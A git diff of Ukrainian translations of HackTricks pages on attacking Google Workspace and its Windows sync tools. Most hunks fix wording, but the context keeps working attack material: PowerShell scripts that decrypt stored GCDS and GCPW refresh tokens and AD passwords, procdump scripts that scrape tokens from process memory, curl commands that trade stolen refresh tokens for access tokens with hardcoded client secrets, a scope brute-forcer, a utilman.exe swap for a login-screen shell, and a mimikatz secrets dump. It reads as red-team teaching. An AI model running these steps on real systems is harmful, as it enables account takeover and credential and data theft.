8. (Необов'язково) Щоб дозволити користувачам додати групу в Групи як делегата, поставте галочку в полі **Дозволити користувачам надавати доступ до своєї поштової скриньки Google групі**.
|
||||
9. Натисніть **Зберегти**. Якщо ви налаштували дочірню організаційну одиницю, ви можете **успадкувати** або **перезаписати** налаштування батьківської організаційної одиниці.
|
||||
10. (Необов'язково) Щоб увімкнути делегування Gmail для інших організаційних одиниць, повторіть кроки 3–9.
|
||||
@@ -143,8 +143,8 @@ gws-google-platforms-phishing/
|
||||
1. На своєму комп'ютері відкрийте [Gmail](https://mail.google.com/). Ви не можете додати делегатів з програми Gmail.
|
||||
2. У правому верхньому куті натисніть Налаштування   **Переглянути всі налаштування**.
|
||||
3. Натисніть вкладку **Облікові записи та імпорт** або **Облікові записи**.
|
||||
4. У розділі "Надати доступ до свого облікового запису" натисніть **Додати інший обліковий запис**. Якщо ви використовуєте Gmail через свою роботу або школу, ваша організація може обмежити делегування електронної пошти. Якщо ви не бачите цього налаштування, зв'яжіться з адміністратором.
|
||||
- Якщо ви не бачите Надати доступ до свого облікового запису, то це обмежено.
|
||||
4. У розділі "Надати доступ до свого облікового запису" натисніть **Додати інший обліковий запис**. Якщо ви використовуєте Gmail через свою роботу або школу, ваша організація може обмежити делегування електронної пошти. Якщо ви не бачите цього налаштування, зв'яжіться зі своїм адміністратором.
|
||||
- Якщо ви не бачите "Надати доступ до свого облікового запису", то це обмежено.
|
||||
5. Введіть адресу електронної пошти особи, яку ви хочете додати. Якщо ви використовуєте Gmail через свою роботу, школу або іншу організацію, і ваш адміністратор це дозволяє, ви можете ввести адресу електронної пошти групи. Ця група повинна мати той же домен, що й ваша організація. Зовнішнім членам групи відмовлено в доступі до делегування.\
|
||||
\
|
||||
**Важливо:** Якщо обліковий запис, який ви делегуєте, є новим обліковим записом або пароль був скинутий, адміністратор повинен вимкнути вимогу змінити пароль, коли ви вперше входите.
|
||||
@@ -152,7 +152,7 @@ gws-google-platforms-phishing/
|
||||
- [Дізнайтеся, як адміністратор може створити користувача](https://support.google.com/a/answer/33310).
|
||||
- [Дізнайтеся, як адміністратор може скинути паролі](https://support.google.com/a/answer/33319).
|
||||
|
||||
6. Натисніть **Наступний крок**  **Надіслати електронний лист для надання доступу**.
|
||||
6\. Натисніть **Наступний крок**  **Надіслати електронний лист для надання доступу**.
|
||||
|
||||
Людина, яку ви додали, отримає електронний лист з проханням підтвердити. Запрошення закінчується через тиждень.
|
||||
|
||||
@@ -164,11 +164,11 @@ gws-google-platforms-phishing/
|
||||
|
||||
## Постійність через Android App
|
||||
|
||||
Якщо у вас є **сесія в обліковому записі google жертви**, ви можете перейти до **Play Store** і, можливо, зможете **встановити шкідливе ПЗ**, яке ви вже завантажили в магазин, безпосередньо **на телефон**, щоб підтримувати постійність і отримати доступ до телефону жертви.
|
||||
Якщо у вас є **сесія в обліковому записі Google жертви**, ви можете перейти до **Play Store** і, можливо, зможете **встановити шкідливе ПЗ**, яке ви вже завантажили в магазин, безпосередньо **на телефон**, щоб підтримувати постійність і отримати доступ до телефону жертви.
|
||||
|
||||
## **Постійність через** App Scripts
|
||||
|
||||
Ви можете створити **тригери на основі часу** в App Scripts, тому якщо App Script буде прийнято користувачем, він буде **запущений** навіть **без доступу користувача**. Для отримання додаткової інформації про те, як це зробити, перевірте:
|
||||
Ви можете створити **тригери на основі часу** в App Scripts, тому, якщо App Script буде прийнято користувачем, він буде **активовано** навіть **без доступу користувача**. Для отримання додаткової інформації про те, як це зробити, перевірте:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
@@ -176,7 +176,7 @@ gws-google-platforms-phishing/gws-app-scripts.md
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Злам G Suite: Сила темної магії App Script
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Злам G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -7,11 +7,11 @@
|
||||
За замовчуванням у Workspace **група** може бути **вільно доступна** будь-якому члену організації.\
|
||||
Workspace також дозволяє **надавати дозволи групам** (навіть дозволи GCP), тому якщо групи можуть бути приєднані і мають додаткові дозволи, зловмисник може **зловживати цим шляхом для ескалації привілеїв**.
|
||||
|
||||
Вам потенційно потрібен доступ до консолі, щоб приєднатися до груп, які дозволяють приєднання будь-ким в організації. Перевірте інформацію про групи на [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
Вам потенційно потрібен доступ до консолі, щоб приєднатися до груп, які дозволяють приєднання будь-якому в організації. Перевірте інформацію про групи на [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Інформація про доступ до групової пошти
|
||||
|
||||
Якщо вам вдалося **зламати сесію користувача Google**, з [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) ви можете побачити історію листів, надісланих до групи пошти, членом якої є користувач, і ви можете знайти **облікові дані** або інші **чутливі дані**.
|
||||
Якщо вам вдалося **зламати сесію користувача Google**, з [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) ви можете побачити історію листів, надісланих до поштових груп, членом яких є користувач, і ви можете знайти **облікові дані** або інші **чутливі дані**.
|
||||
|
||||
## GCP <--> GWS Півотування
|
||||
|
||||
@@ -19,11 +19,11 @@ Workspace також дозволяє **надавати дозволи груп
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Завантажте все, що Google знає про обліковий запис
|
||||
## Takeout - Завантажити все, що Google знає про обліковий запис
|
||||
|
||||
Якщо у вас є **сесія всередині облікового запису жертви Google**, ви можете завантажити все, що Google зберігає про цей обліковий запис, з [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Завантажте всі дані Workspace користувачів
|
||||
## Vault - Завантажити всі дані Workspace користувачів
|
||||
|
||||
Якщо в організації **увімкнено Google Vault**, ви можете отримати доступ до [**https://vault.google.com**](https://vault.google.com/u/1/) і **завантажити** всю **інформацію**.
|
||||
|
||||
@@ -33,7 +33,7 @@ Workspace також дозволяє **надавати дозволи груп
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
На [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) ви можете просто шукати **всередині всього контенту Workspace** (електронна пошта, диск, сайти...) до якого має доступ користувач. Ідеально підходить для **швидкого знаходження чутливої інформації**.
|
||||
На [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) ви можете просто шукати **весь вміст Workspace** (електронна пошта, диск, сайти...) до якого має доступ користувач. Ідеально підходить для **швидкого знаходження чутливої інформації**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
@@ -41,16 +41,16 @@ Workspace також дозволяє **надавати дозволи груп
|
||||
|
||||
## Видобуток Google Drive
|
||||
|
||||
Коли ви **ділитеся** документом, ви можете **вказати** **людей**, які можуть отримати до нього доступ по одному, **поділитися** ним з вашою **всєю компанією** (**або** з деякими конкретними **групами**) шляхом **генерації посилання**.
|
||||
Коли ви **ділитеся** документом, ви можете **вказати** **людей**, які можуть отримати до нього доступ по одному, **поділитися** ним з вашою **всім підприємством** (**або** з деякими конкретними **групами**) шляхом **генерації посилання**.
|
||||
|
||||
При обміні документом у розширених налаштуваннях ви також можете **дозволити людям шукати** цей файл (за **замовчуванням** це **вимкнено**). Однак важливо зазначити, що як тільки користувачі переглядають документ, він стає доступним для пошуку ними.
|
||||
Коли ви ділитеся документом, у розширених налаштуваннях ви також можете **дозволити людям шукати** цей файл (за **замовчуванням** це **вимкнено**). Однак важливо зазначити, що як тільки користувачі переглядають документ, він стає доступним для пошуку ними.
|
||||
|
||||
Для простоти більшість людей генеруватимуть і ділитимуться посиланням замість того, щоб додавати людей, які можуть отримати доступ до документа по одному.
|
||||
Для простоти, більшість людей генеруватимуть і ділитимуться посиланням замість того, щоб додавати людей, які можуть отримати доступ до документа по одному.
|
||||
|
||||
Деякі запропоновані способи знайти всі документи:
|
||||
|
||||
- Шукати в внутрішньому чаті, форумах...
|
||||
- **Спайдерити** відомі **документи**, шукаючи **посилання** на інші документи. Ви можете зробити це в App Script з [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- **Спайдерити** відомі **документи**, шукаючи **посилання** на інші документи. Ви можете зробити це в App Script з[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
@@ -62,13 +62,13 @@ Workspace також дозволяє **надавати дозволи груп
|
||||
|
||||
## **Адміністрування Workspace**
|
||||
|
||||
На [**https://admin.google.com**/](https://admin.google.com) ви можете змінити налаштування Workspace для всієї організації, якщо у вас достатньо дозволів.
|
||||
На [**https://admin.google.com**/](https://admin.google.com) ви можете змінити налаштування Workspace всієї організації, якщо у вас достатньо дозволів.
|
||||
|
||||
Ви також можете знайти електронні листи, шукаючи через всі рахунки користувача на [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Злам G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Хакінг G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК на Windows, використовуючи **свої облікові дані Workspace**. Більше того, це зберігатиме **токени** для доступу до Google Workspace в деяких місцях на ПК: диск, пам'ять та реєстр... навіть можливо отримати **пароль у відкритому вигляді**.
|
||||
Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК на Windows, використовуючи **свої облікові дані Workspace**. Більше того, це зберігатиме **токени** для доступу до Google Workspace в деяких місцях на ПК: диск, пам'ять та реєстр... навіть можливо отримати **пароль у відкритому тексті**.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GCPW**, отримати інформацію про конфігурацію та **навіть токени**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GCPW**, отримати інформацію про конфігурацію та **навіть токени**.
|
||||
|
||||
Знайдіть більше інформації про це в:
|
||||
Додаткову інформацію про це можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
@@ -22,9 +22,9 @@ gcpw-google-credential-provider-for-windows.md
|
||||
Це цікаво, оскільки це інструмент, який вимагатиме **облікові дані суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти на сервері домену, який час від часу синхронізує користувачів.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GCDS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GCDS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
|
||||
Знайдіть більше інформації про це в:
|
||||
Додаткову інформацію про це можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
@@ -32,24 +32,24 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
Це двійковий файл та служба, яку Google пропонує для **збереження синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
Це бінарний файл та служба, яку Google пропонує для **збереження синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти двійковий файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти бінарний файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GPS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GPS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
|
||||
Знайдіть більше інформації про це в:
|
||||
Додаткову інформацію про це можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
{{#endref}}
|
||||
|
||||
## Синхронізація каталогу адміністратора
|
||||
## Admin Directory Sync
|
||||
|
||||
Основна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими двійковими файлами, які потрібно завантажити та запустити, тоді як **Синхронізація каталогу адміністратора є безсерверною** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Основна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими бінарними файлами, які потрібно завантажити та запустити, тоді як **Admin Directory Sync є безсерверним** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Знайдіть більше інформації про це в:
|
||||
Додаткову інформацію про це можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Це інструмент, який можна використовувати для **синхронізації ваших користувачів та груп активного каталогу з вашим Workspace** (а не навпаки на момент написання цього тексту).
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
### GCDS - Дискові токени та облікові дані AD
|
||||
|
||||
Бінарний файл `config-manager.exe` (основний бінарний файл GCDS з GUI) за замовчуванням зберігатиме налаштовані облікові дані Active Directory, токен оновлення та доступ у **xml файлі** в папці **`C:\Program Files\Google Cloud Directory Sync`** у файлі під назвою **`Untitled-1.xml`** за замовчуванням. Хоча його також можна зберегти в `Documents` користувача або в **будь-якій іншій папці**.
|
||||
|
||||
@@ -53,7 +53,7 @@
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell скрипт для розшифровки refresh token та password</summary>
|
||||
<summary>Powershell скрипт для розшифрування refresh token та пароля</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -152,16 +152,16 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який бінарний файл `upgrade-config.exe` очікує для виведення ключів).
|
||||
|
||||
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифровки інформації.
|
||||
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифрування інформації.
|
||||
|
||||
### GCDS - Вивантаження токенів з пам'яті
|
||||
### GCDS - Виведення токенів з пам'яті
|
||||
|
||||
Так само, як і з GCPW, можливо вивантажити пам'ять процесу `config-manager.exe` (це назва основного бінарного файлу GCDS з GUI), і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Так само, як і з GCPW, можна вивести пам'ять процесу `config-manager.exe` (це назва основного бінарного файлу GCDS з GUI), і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Гадаю, ви також могли б знайти налаштовані облікові дані AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Вивантажити процеси config-manager.exe та шукати токени</summary>
|
||||
<summary>Виведення процесів config-manager.exe та пошук токенів</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
### GCDS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Неприпустимо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
|
||||
> Неможливо надати новому користувачу роль Super Amin, оскільки **токен оновлення не має достатньо обсягів** для надання необхідних привілеїв.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,13 +27,15 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Нові рядки були додані для покращення читабельності.
|
||||
|
||||
> [!NOTE]
|
||||
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` і запустивши **функції доступності** на сторінці входу Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
|
||||
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знизився до TCP-комунікації, і ви могли його бачити.
|
||||
> Було можливим виконати MitM, встановивши `Proxifier` на ПК, перезаписавши бінарний файл `utilman.exe` на `cmd.exe` і запустивши **функції доступності** на сторінці входу в Windows, що виконає **CMD**, з якого ви можете **запустити та налаштувати Proxifier**.\
|
||||
> Не забудьте **блокувати QUICK UDP** трафік у `Proxifier`, щоб він знижувався до TCP зв'язку, і ви могли його бачити.
|
||||
>
|
||||
> Також налаштуйте в "Служби та інші користувачі" обидві опції та встановіть сертифікат Burp CA в Windows.
|
||||
|
||||
Більше того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` у **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
|
||||
Крім того, додавши ключі `enable_verbose_logging = 1` та `log_file_path = C:\Public\gcpw.log` в **`HKLM:\SOFTWARE\Google\GCPW`**, можна зберігати деякі журнали.
|
||||
|
||||
### GCPW - Відбиток
|
||||
|
||||
@@ -62,9 +64,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
У **`HKCU:\SOFTWARE\Google\Accounts`** можливо отримати електронну пошту користувача та зашифрований **refresh token**, якщо користувач нещодавно увійшов у систему.
|
||||
У **`HKCU:\SOFTWARE\Google\Accounts`** можна отримати електронну пошту користувача та зашифрований **refresh token**, якщо користувач нещодавно увійшов у систему.
|
||||
|
||||
У **`HKLM:\SOFTWARE\Google\GCPW\Users`** можливо знайти **домен** , які дозволені для входу в ключі `domains_allowed`, а в підключах можливо знайти інформацію про користувача, таку як електронна пошта, зображення, ім'я користувача, терміни дії токенів, обробник токенів...
|
||||
У **`HKLM:\SOFTWARE\Google\GCPW\Users`** можна знайти **домен** , які дозволені для входу в ключі `domains_allowed`, а в підключах можна знайти інформацію про користувача, таку як електронна пошта, зображення, ім'я користувача, терміни дії токенів, обробник токенів...
|
||||
|
||||
> [!NOTE]
|
||||
> Обробник токенів - це токен, який починається з `eth.` і з якого можна витягти деяку інформацію за допомогою запиту, наприклад:
|
||||
@@ -80,7 +82,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Також можливо знайти обробник токенів для токена доступу за допомогою запиту, наприклад:
|
||||
> Також можна знайти обробник токенів для токена доступу за допомогою запиту, наприклад:
|
||||
>
|
||||
> ```bash
|
||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
@@ -102,7 +104,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
|
||||
## GCPW - Отримати токени
|
||||
|
||||
### GCPW - Токени оновлення реєстру
|
||||
### GCPW - Оновлення токенів реєстру
|
||||
|
||||
У реєстрі **`HKCU:\SOFTWARE\Google\Accounts`** можливо знайти деякі облікові записи з зашифрованим **`refresh_token`** всередині. Метод **`ProtectedData.Unprotect`** може легко його розшифрувати.
|
||||
|
||||
@@ -160,12 +162,10 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
|
||||
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
</details>
|
||||
|
||||
Приклад виходу:
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
Як пояснено у [**цьому відео**](https://www.youtube.com/watch?v=FEQxHRRP_5I), якщо ви не знайдете токен у реєстрі, можливо, потрібно змінити значення (або видалити) з **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** і наступного разу, коли користувач отримує доступ до комп'ютера, йому потрібно буде знову увійти, а **токен буде збережено в попередньому реєстрі**.
|
||||
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=FEQxHRRP_5I), якщо ви не знайдете токен у реєстрі, можливо, ви зможете змінити значення (або видалити) з **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** і наступного разу, коли користувач отримує доступ до комп'ютера, йому потрібно буде знову увійти, а **токен буде збережено в попередньому реєстрі**.
|
||||
|
||||
### GCPW - Токени оновлення диска
|
||||
|
||||
@@ -178,11 +178,11 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
|
||||
|
||||
Більше того, шифрування можна знайти в цьому коді: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на цей час), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac на 16B**.
|
||||
Можна спостерігати, що використовується AESGCM, зашифрований токен починається з **версії** (**`v10`** на цей момент), потім [**має 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), а потім має **шифротекст** з фінальним **mac 16B**.
|
||||
|
||||
### GCPW - Витяг токенів з пам'яті процесів
|
||||
### GCPW - Витягування токенів з пам'яті процесів
|
||||
|
||||
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome**, використовуючи `procdump`, витягти **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
|
||||
Наступний скрипт можна використовувати для **витягування** кожного **процесу Chrome**, використовуючи `procdump`, витягувати **рядки** і потім **шукати** рядки, пов'язані з **токенами доступу та оновлення**. Якщо Chrome підключений до якогось сайту Google, деякі **процеси зберігатимуть токени оновлення та/або доступу в пам'яті!**
|
||||
|
||||
<details>
|
||||
|
||||
@@ -266,7 +266,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Перевірити токен доступу, видаляючи символи по одному</summary>
|
||||
<summary>Перевірте токен доступу, видаляючи символи по одному</summary>
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -309,18 +309,18 @@ curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GCPW - Scopes
|
||||
### GCPW - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть маючи refresh token, неможливо запитати жоден scope для access token, оскільки ви можете запитувати лише **scopes, підтримувані додатком, в якому ви генеруєте access token**.
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
>
|
||||
> Крім того, refresh token не є дійсним у кожному додатку.
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
|
||||
За замовчуванням GCPW не матиме доступу як користувач до кожного можливого OAuth scope, тому, використовуючи наступний скрипт, ми можемо знайти scopes, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
За замовчуванням GCPW не матиме доступу як користувач до кожної можливої сфери OAuth, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
<summary>Bash скрипт для брутфорсу сфер</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -763,7 +763,7 @@ curl -X POST \
|
||||
**Google Workspace Vault** - це додаток для Google Workspace, який надає інструменти для зберігання даних, пошуку та експорту даних вашої організації, збережених у службах Google Workspace, таких як Gmail, Drive, Chat та інші.
|
||||
|
||||
- **Справа** в Google Workspace Vault - це **контейнер**, який організовує та групує всю інформацію, пов'язану з конкретною справою, розслідуванням або юридичною справою. Він слугує центральним вузлом для управління **Утриманнями**, **Пошуками** та **Експортами**, що стосуються цієї конкретної проблеми.
|
||||
- **Утримання** в Google Workspace Vault - це **дія збереження**, що застосовується до конкретних користувачів або груп, щоб **запобігти видаленню або змінам** їхніх даних у службах Google Workspace. Утримання забезпечують збереження відповідної інформації в цілісності та незмінності протягом тривалості юридичної справи або розслідування.
|
||||
- **Утримання** в Google Workspace Vault - це **дія збереження**, що застосовується до конкретних користувачів або груп, щоб **запобігти видаленню або зміні** їхніх даних у службах Google Workspace. Утримання забезпечують збереження відповідної інформації в цілості та незмінності протягом тривалості юридичної справи або розслідування.
|
||||
```bash
|
||||
# List matters
|
||||
curl -X GET \
|
||||
@@ -791,7 +791,7 @@ curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
|
||||
```
|
||||
Більше [API кінцевих точок у документації](https://developers.google.com/vault/reference/rest).
|
||||
Більше [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -805,11 +805,11 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
|
||||
|
||||
